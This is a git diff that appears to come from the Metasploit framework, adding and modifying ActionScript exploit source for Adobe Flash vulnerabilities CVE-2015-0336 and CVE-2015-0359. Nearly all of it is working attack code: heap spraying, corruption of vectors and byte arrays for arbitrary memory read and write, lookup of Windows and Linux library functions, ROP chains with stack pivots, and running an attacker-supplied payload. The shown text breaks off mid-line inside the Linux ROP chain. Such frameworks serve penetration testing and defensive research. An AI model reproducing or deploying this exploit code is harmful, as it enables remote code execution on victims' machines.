byte_write(0, buffer + 0x8) // Writable address (4 bytes) - - // WinExec - byte_write(0, buffer + 0x10) - byte_write(0, payload_address + 8) - byte_write(0) - - byte_write(main, stack_address + 0x18000) // overwrite with fake vtable - - toString() // call method in the fake vtable - } - - private function search_object_vector():uint { - var i:uint = 0; - while (i < 89698 * 1024){ - if (uv[i] == 114) { - return i + 1; - } - i++ - } - return 0xffffffff - } - - // Methods to use the corrupted uint vector - - private function vector_write(addr:uint, value:uint = 0):void - { - var pos:uint = 0 - - if (addr > uv[0]) { - pos = ((addr - uv[0]) / 4) - 2 - } else { - pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 - } - - uv[pos] = value - } - - private function vector_read(addr:uint):uint - { - var pos:uint = 0 - - if (addr > uv[0]) { - pos = ((addr - uv[0]) / 4) - 2 - } else { - pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 - } - - return uv[pos] - } - - // Methods to use the corrupted byte array for arbitrary reading/writing - - private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void - { - if (addr) ba.position = addr - if (value is String) { - for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) - if (zero) ba.writeByte(0) - } else ba.writeUnsignedInt(value) - } - - private function byte_read(addr:uint, type:String = "dword"):uint - { - ba.position = addr - switch(type) { - case "dword": - return ba.readUnsignedInt() - case "word": - return ba.readUnsignedShort() - case "byte": - return ba.readUnsignedByte() - } - return 0 - } - - // Methods to search the memory with the corrupted byte array - - private function base(addr:uint):uint - { - addr &= 0xffff0000 - while (true) { - if (byte_read(addr) == 0x00905a4d) return addr - addr -= 0x10000 - } - return 0 - } - - private function module(name:String, addr:uint):uint - { - var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80) - var i:int = -1 - while (true) { - var entry:uint = byte_read(iat + (++i) * 0x14 + 12) - if (!entry) throw new Error("FAIL!"); - ba.position = addr + entry - var dll_name:String = ba.readUTFBytes(name.length).toUpperCase(); - if (dll_name == name.toUpperCase()) { - break; - } - } - return base(byte_read(addr + byte_read(iat + i * 0x14 + 16))); - } - - private function procedure(name:String, addr:uint):uint - { - var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78) - var numberOfNames:uint = byte_read(eat + 0x18) - var addressOfFunctions:uint = addr + byte_read(eat + 0x1c) - var addressOfNames:uint = addr + byte_read(eat + 0x20) - var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24) - - for (var i:uint = 0; ; i++) { - var entry:uint = byte_read(addressOfNames + i * 4) - ba.position = addr + entry - if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break - } - return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4) - } - - private function gadget(gadget:String, hint:uint, addr:uint):uint - { - var find:uint = 0 - var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50) - var value:uint = parseInt(gadget, 16) - for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break - return addr + i - } - } -} diff --git a/external/source/exploits/CVE-2015-0336/PE.as b/external/source/exploits/CVE-2015-0336/PE.as new file mode 100644 index 0000000000..8753586477 --- /dev/null +++ b/external/source/exploits/CVE-2015-0336/PE.as @@ -0,0 +1,72 @@ +package +{ + public class PE + { + private var eba:ExploitByteArray + + public function PE(ba:ExploitByteArray) + { + eba = ba + } + + public function base(addr:uint):uint + { + addr &= 0xffff0000 + while (true) { + if (eba.read(addr) == 0x00905a4d) return addr + addr -= 0x10000 + } + return 0 + } + + public function module(name:String, addr:uint):uint + { + var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1 + var mod_name:String + + while (true) { + var entry:uint = eba.read(iat + (++i) * 0x14 + 12) + if (!entry) throw new Error("FAIL!"); + mod_name = eba.read_string(addr + entry, name.length) + if (mod_name.toUpperCase() == name.toUpperCase()) break + } + return base(eba.read(addr + eba.read(iat + i * 0x14 + 16))) + } + + public function procedure(name:String, addr:uint):uint + { + var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78) + var numberOfNames:uint = eba.read(eat + 0x18) + var addressOfFunctions:uint = addr + eba.read(eat + 0x1c) + var addressOfNames:uint = addr + eba.read(eat + 0x20) + var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24) + var proc_name:String + + for (var i:uint = 0; ; i++) { + var entry:uint = eba.read(addressOfNames + i * 4) + proc_name = eba.read_string(addr + entry, name.length + 2) + if (proc_name.toUpperCase() == name.toUpperCase()) break + } + return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4) + } + + public function gadget(gadget:String, hint:uint, addr:uint):uint + { + var find:uint = 0 + var contents:uint = 0 + var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50) + var value:uint = parseInt(gadget, 16) + + for (var i:uint = 0; i < limit - 4; i++) { + contents = eba.read(addr + i) + if (hint == 0xffffffff && value == contents) { + return addr + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return addr + i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-0336/Trigger/src/Main.as b/external/source/exploits/CVE-2015-0336/Trigger/src/Main.as index 7daf1e8da9..27e00868e7 100755 --- a/external/source/exploits/CVE-2015-0336/Trigger/src/Main.as +++ b/external/source/exploits/CVE-2015-0336/Trigger/src/Main.as @@ -4,7 +4,7 @@ class Main { public static function main(swfRoot:MovieClip):Void { - var _loc2_ = _global.ASnative(2100, 0x1a1e2000); + var _loc2_ = _global.ASnative(2100, 0x14950000); var _loc3_ = new Object(); _loc2_.__proto__ = _loc3_; _global.ASnative(2100, 200)(_loc3_); //Netconnection constructor diff --git a/external/source/exploits/CVE-2015-0336/TriggerLinux/TriggerLinux.as2proj b/external/source/exploits/CVE-2015-0336/TriggerLinux/TriggerLinux.as2proj new file mode 100755 index 0000000000..579960bd86 --- /dev/null +++ b/external/source/exploits/CVE-2015-0336/TriggerLinux/TriggerLinux.as2proj @@ -0,0 +1,60 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-0336/TriggerLinux/src/Main.as b/external/source/exploits/CVE-2015-0336/TriggerLinux/src/Main.as new file mode 100755 index 0000000000..8dbada53c8 --- /dev/null +++ b/external/source/exploits/CVE-2015-0336/TriggerLinux/src/Main.as @@ -0,0 +1,18 @@ +// Build with FlashDevelop, its command line is: +// fdbuild.exe "Trigger.as2proj" -ipc 22ef73b0-fe1e-4cd0-8363-4650575d43b6 -version "1.14" -compiler "C:\Program Files\FlashDevelop\Tools\mtasc" -notrace -library "C:\Program Files\FlashDevelop\Library" +class Main +{ + public static function main(swfRoot:MovieClip):Void + { + var _loc2_ = _global.ASnative(2100, 0x956c2000); + var _loc3_ = new Object(); + _loc2_.__proto__ = _loc3_; + _global.ASnative(2100, 200)(_loc3_); //Netconnection constructor + _global.ASnative(2100, 8).apply(_loc2_, [1]); //NetConnection.farID + } + + public function Main() + { + } + +} \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-0359/Elf.as b/external/source/exploits/CVE-2015-0359/Elf.as new file mode 100644 index 0000000000..ee7283c61c --- /dev/null +++ b/external/source/exploits/CVE-2015-0359/Elf.as @@ -0,0 +1,235 @@ +package +{ + public class Elf + { + private const PT_DYNAMIC:uint = 2 + private const PT_LOAD:uint = 1 + private const PT_READ_EXEC:uint = 5 + private const DT_SYMTAB:uint = 6 + private const DT_STRTAB:uint = 5 + private const DT_PLTGOT:uint = 3 + + private var e_ba:ExploitByteArray + // elf base address + public var base:uint = 0 + // program header address + public var ph:uint = 0 + // number of program headers + public var ph_size:uint = 0 + // program header entry size + public var ph_esize:uint = 0 + // DYNAMIC segment address + public var seg_dynamic:uint = 0 + // DYNAMIC segment size + public var seg_dynamic_size:uint = 0 + // CODE segment address + public var seg_exec:uint = 0 + // CODE segment size + public var seg_exec_size:uint = 0 + // .dynsyn section address + public var sec_dynsym:uint = 0 + // .synstr section address + public var sec_dynstr:uint = 0 + // .got.plt section address + public var sec_got_plt:uint = 0 + + public function Elf(ba:ExploitByteArray, addr:uint) + { + e_ba = ba + set_base(addr) + set_program_header() + set_program_header_size() + set_program_header_entry_size() + set_dynamic_segment() + set_exec_segment() + set_dynsym() + set_dynstr() + set_got_plt() + } + + public function external_symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + var got_plt_index:uint = 0 + + for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4)) + } + if (st_info != 0x11) { + got_plt_index++ + } + } + throw new Error() + } + + public function symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + + for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return base + st_value + } + } + throw new Error() + } + + + public function gadget(gadget:String, hint:uint):uint + { + var value:uint = parseInt(gadget, 16) + var contents:uint = 0 + for (var i:uint = 0; i < seg_exec_size - 4; i++) { + contents = e_ba.read(seg_exec + i) + if (hint == 0xffffffff && value == contents) { + return seg_exec + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return seg_exec + i + } + } + throw new Error() + } + + private function set_base(addr:uint):void + { + addr &= 0xffff0000 + while (true) { + if (e_ba.read(addr) == 0x464c457f) { + base = addr + return + } + addr -= 0x1000 + } + + throw new Error() + } + + private function set_program_header():void + { + ph = base + e_ba.read(base + 0x1c) + } + + private function set_program_header_size():void + { + ph_size = e_ba.read(base + 0x2c, "word") + } + + private function set_program_header_entry_size():void + { + ph_esize = e_ba.read(base + 0x2a, "word") + } + + private function set_dynamic_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + if (p_type == PT_DYNAMIC) { + seg_dynamic = base + e_ba.read(entry + 8) + seg_dynamic_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_exec_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + var p_flags:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + p_flags = e_ba.read(entry + 0x18) + if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) { + seg_exec = base + e_ba.read(entry + 8) + seg_exec_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_dynsym():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_SYMTAB) { + sec_dynsym = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_dynstr():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_STRTAB) { + sec_dynstr = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_got_plt():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_PLTGOT) { + sec_got_plt = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-0359/Exploit.as b/external/source/exploits/CVE-2015-0359/Exploit.as new file mode 100755 index 0000000000..fe93a4d79b --- /dev/null +++ b/external/source/exploits/CVE-2015-0359/Exploit.as @@ -0,0 +1,123 @@ +// Build how to: +// 1. Download the AIRSDK, and use its compiler. +// 2. Be support to support 16.0 as target-player (flex-config.xml). +// 3. Download the Flex SDK (4.6) +// 4. Copy the Flex SDK libs (/framework/libs) to the AIRSDK folder (/framework/libs) +// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder) +// 5. Build with: mxmlc -o msf.swf Msf.as + +// Original code by @hdarwin89 modified to be used from msf +// https://git.hacklab.kr/snippets/13 +// http://pastebin.com/Wj3NViUu + +package +{ + import flash.display.Sprite + import flash.events.Event + import flash.utils.ByteArray + import flash.system.Worker + import flash.system.WorkerDomain + import flash.system.MessageChannel + import flash.system.ApplicationDomain + import avm2.intrinsics.memory.casi32 + import flash.display.LoaderInfo + import mx.utils.Base64Decoder + + public class Exploit extends Sprite + { + private var ov:Vector. = new Vector.(25600) + private var uv:Vector. = new Vector. + private var ba:ByteArray = new ByteArray() + private var b64:Base64Decoder = new Base64Decoder() + private var worker:Worker + private var mc:MessageChannel + private var payload:ByteArray + private var platform:String + private var os:String + private var exploiter:Exploiter + + public function Exploit() + { + if (Worker.current.isPrimordial) mainThread() + else workerThread() + } + + private function mainThread():void + { + platform = LoaderInfo(this.root.loaderInfo).parameters.pl + os = LoaderInfo(this.root.loaderInfo).parameters.os + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray() + + ba.length = 0x1000 + ba.shareable = true + for (var i:uint = 0; i < ov.length; i++) { + ov[i] = new Vector.(1014) + ov[i][0] = 0xdeedbeef + } + for (i = 0; i < ov.length; i += 2) delete(ov[i]) + worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes) + mc = worker.createMessageChannel(Worker.current) + mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage) + worker.setSharedProperty("mc", mc) + worker.setSharedProperty("ba", ba) + ApplicationDomain.currentDomain.domainMemory = ba + worker.start() + } + + private function workerThread():void + { + var ba:ByteArray = Worker.current.getSharedProperty("ba") + var mc:MessageChannel = Worker.current.getSharedProperty("mc") + var tmp:ByteArray = new ByteArray() + tmp.length = 0x2000 + + for (var i:uint = 0; i < 20; i++) { + new Vector.(1022) + } + + ba.writeBytes(tmp) + ov[0] = new Vector.(1022) + + mc.send("") + while (mc.messageAvailable); + + for (i = 0;; i++) { + if (ov[0][i] == 1014 && ov[0][i + 2] == 0xdeedbeef) { + ov[0][i] = 0xffffffff + break + } + } + ov[0][0xfffffffe] = 1014 + + mc.send("") + } + + private function onMessage(e:Event):void + { + var mod:uint = casi32(0, 1022, 0xFFFFFFFF) + Logger.log("[*] Exploit - onMessage(): mod: " + mod.toString()) + if (mod == 1022) mc.receive() + else { + for (var i:uint = 0; i < ov.length; i++) { + if (ov[i].length == 0xffffffff) { + uv = ov[i] + } else { + if (ov[i] != null) { + delete(ov[i]) + ov[i] = null + } + } + } + if (uv == null) { + Logger.log("[!] Exploit - onMessage(): Corrupted Vector not found") + return + } + exploiter = new Exploiter(this, platform, os, payload, uv) + } + } + } +} diff --git a/external/source/exploits/CVE-2015-0359/ExploitByteArray.as b/external/source/exploits/CVE-2015-0359/ExploitByteArray.as new file mode 100644 index 0000000000..a8da46df7b --- /dev/null +++ b/external/source/exploits/CVE-2015-0359/ExploitByteArray.as @@ -0,0 +1,85 @@ +package +{ + import flash.utils.ByteArray + + public class ExploitByteArray + { + private const MAX_STRING_LENGTH:uint = 100 + public var ba:ByteArray + public var original_length:uint + private var platform:String + + public function ExploitByteArray(p:String, l:uint = 1024) + { + ba = new ByteArray() + ba.length = l + ba.endian = "littleEndian" + ba.writeUnsignedInt(0) + platform = p + original_length = l + } + + public function set_length(length:uint):void + { + ba.length = length + } + + public function get_length():uint + { + return ba.length + } + + public function lets_ready():void + { + ba.endian = "littleEndian" + if (platform == "linux") { + ba.length = 0xffffffff + } + } + + public function is_ready():Boolean + { + if (ba.length == 0xffffffff) + return true + + return false + } + + public function read(addr:uint, type:String = "dword"):uint + { + ba.position = addr + switch(type) { + case "dword": + return ba.readUnsignedInt() + case "word": + return ba.readUnsignedShort() + case "byte": + return ba.readUnsignedByte() + } + return 0 + } + + public function read_string(addr:uint, length:uint = 0):String + { + ba.position = addr + if (length == 0) + return ba.readUTFBytes(MAX_STRING_LENGTH) + else + return ba.readUTFBytes(length) + } + + public function write(addr:uint, value:* = 0, zero:Boolean = true):void + { + var i:uint + + if (addr) ba.position = addr + if (value is String) { + for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) + if (zero) ba.writeByte(0) + } else if (value is ByteArray) { + var value_length:uint = value.length + for (i = 0; i < value_length; i++) ba.writeByte(value.readByte()) + } else ba.writeUnsignedInt(value) + } + } +} diff --git a/external/source/exploits/CVE-2015-0359/ExploitVector.as b/external/source/exploits/CVE-2015-0359/ExploitVector.as new file mode 100644 index 0000000000..9fcbb01f7b --- /dev/null +++ b/external/source/exploits/CVE-2015-0359/ExploitVector.as @@ -0,0 +1,74 @@ +package +{ + public class ExploitVector + { + private var uv:Vector. + public var original_length:uint = 1014 + + public function ExploitVector(v:Vector.) + { + uv = v + } + + public function restore():void + { + uv[0x3ffffffe] = original_length + } + + public function is_ready():Boolean + { + if (uv.length > original_length) + { + return true + } + return false + } + + public function at(pos:uint):uint + { + return uv[pos] + } + + // pos: position where a Vector.[0] lives + public function set_own_address(pos:uint):void + { + uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc + } + + public function read(addr:uint):uint + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + return uv[pos] + } + + public function write(addr:uint, value:uint = 0):void + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + uv[pos] = value + } + + public function search_pattern(pattern:uint, limit:uint):uint + { + for (var i:uint = 0; i < limit/4; i++) { + if (uv[i] == pattern) { + return i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-0359/Exploiter.as b/external/source/exploits/CVE-2015-0359/Exploiter.as new file mode 100644 index 0000000000..f32ba07e13 --- /dev/null +++ b/external/source/exploits/CVE-2015-0359/Exploiter.as @@ -0,0 +1,399 @@ +package +{ + import flash.utils.ByteArray + import flash.system.System + + public class Exploiter + { + private const VECTOR_OBJECTS_LENGTH:uint = 1014 + private var exploit:Exploit + private var ev:ExploitVector + private var eba:ExploitByteArray + private var payload:ByteArray + private var platform:String + private var op_system:String + private var pos:uint + private var byte_array_object:uint + private var main:uint + private var stack_object:uint + private var payload_space_object:uint + private var buffer_object:uint + private var buffer:uint + private var vtable:uint + private var stack_address:uint + private var payload_address:uint + private var stack:Vector. = new Vector.(0x6400) + private var payload_space:Vector. = new Vector.(0x6400) + private var spray:Vector. = new Vector.(90000) + + public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.):void + { + exploit = exp + payload = p + platform = pl + op_system = os + + ev = new ExploitVector(uv) + if (!ev.is_ready()) return + eba = new ExploitByteArray(platform) + spray_objects() + try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; } + ev.set_own_address(pos) + if (!disclose_objects()) { ev.restore(); cleanup(); return; } + disclose_addresses() + corrupt_byte_array() + if (!eba.is_ready()) { ev.restore(); cleanup(); return } + do_rop() + restore_byte_array() + ev.restore() + cleanup() + } + + private function spray_objects():void + { + Logger.log("[*] Exploiter - spray_objects()") + for (var i:uint = 0; i < spray.length; i++) + { + spray[i] = new Vector.(VECTOR_OBJECTS_LENGTH) + spray[i][0] = eba.ba + spray[i][1] = exploit + spray[i][2] = stack + spray[i][3] = payload_space + } + } + + private function search_objects():uint + { + Logger.log("[*] Exploiter - search_objects()") + var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100) + return idx + 1 + } + + private function disclose_objects():Boolean + { + Logger.log("[*] Exploiter - disclose_objects()") + byte_array_object = ev.at(pos) - 1 + main = ev.at(pos + 1) - 1 + stack_object = ev.at(pos + 2) - 1 + payload_space_object = ev.at(pos + 3) - 1 + if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) { + return false + } + return true + } + + private function disclose_addresses():void + { + Logger.log("[*] Exploiter - disclose_addresses()") + if (platform == "linux") + { + buffer_object = ev.read(byte_array_object + 0x10) + buffer = ev.read(buffer_object + 0x1c) + } + else if (platform == "win") + { + buffer_object = ev.read(byte_array_object + 0x40) + buffer = ev.read(buffer_object + 8) + } + vtable = ev.read(main) + stack_address = ev.read(stack_object + 0x18) + payload_address = ev.read(payload_space_object + 0x18) + } + + private function corrupt_byte_array():void + { + Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c) // *array + ev.write(buffer_object + 0x20, 0xffffffff) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8) // *array + ev.write(buffer_object + 16, 0xffffffff) // capacity + } + eba.lets_ready() + } + + private function restore_byte_array():void + { + Logger.log("[*] Exploiter - restore_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c, buffer) // *array + ev.write(buffer_object + 0x20, 1024) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8, buffer) // *array + ev.write(buffer_object + 16, 1024) // capacity + } + eba.set_length(eba.original_length) + } + + private function do_rop():void + { + Logger.log("[*] Exploiter - do_rop()") + if (platform == "linux") { + do_rop_linux() + } else if (platform == "win") { + if (op_system == "Windows 8.1") { + do_rop_windows8() + } else if (op_system == "Windows 7") { + do_rop_windows() + } else { + return + } + } else { + return + } + } + + private function do_rop_windows():void + { + Logger.log("[*] Exploiter - do_rop_windows()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32) + var createthread:uint = pe.procedure("CreateThread", kernel32) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7f6e0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7f6e0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7f6e0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_windows8():void + { + Logger.log("[*] Exploiter - do_rop_windows8()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var advapi32:uint = pe.module("advapi32.dll", flash) + var kernelbase:uint = pe.module("kernelbase.dll", advapi32) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase) + var createthread:uint = pe.procedure("CreateThread", kernelbase) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7ffd0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7ffd0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7ffd0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_linux():void + { + Logger.log("[*] Exploiter - do_rop_linux()") + var flash:Elf = new Elf(eba, vtable) + var feof:uint = flash.external_symbol('feof') + var libc:Elf = new Elf(eba, feof) + var popen:uint = libc.symbol("popen") + var mprotect:uint = libc.symbol("mprotect") + var mmap:uint = libc.symbol("mmap") + var clone:uint = libc.symbol("clone") + var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff) + var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff) + var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff) + + // Continuation of execution + // 1) Recover original vtable + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + // 2) Recover original stack + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi + + // my_memcpy + eba.write(buffer + 0x60, "\x56", false) // push esi + eba.write(0, "\x57", false) // push edi + eba.write(0, "\x51", false) // push ecx + eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10] + eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14] + eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18] + eba.write(0, "\xF3\xA4", false) // rep movsb + eba.write(0, "\x59", false) // pop ecx + eba.write(0, "\x5f", false) // pop edi + eba.write(0, "\x5e", false) // pop esi + eba.write(0, "\xc3", false) // ret + + // Put the popen parameters in memory + eba.write(payload_address + 0x8, payload, true) // false + + // Put the fake stack/vtable on memory + eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot + eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi + eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024 + + // Return to mprotect() + eba.write(stack_address + 0x18034, mprotect) + // Return to stackpivot (jmp over mprotect parameters) + eba.write(0, addesp2cret) + // mprotect() arguments + eba.write(0, buffer) // addr + eba.write(0, 0x1000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + + // Return to mmap() + eba.write(stack_address + 0x18068, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() code segment arguments + eba.write(0, 0x70000000) // 0x70000000 + eba.write(0, 0x4000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | 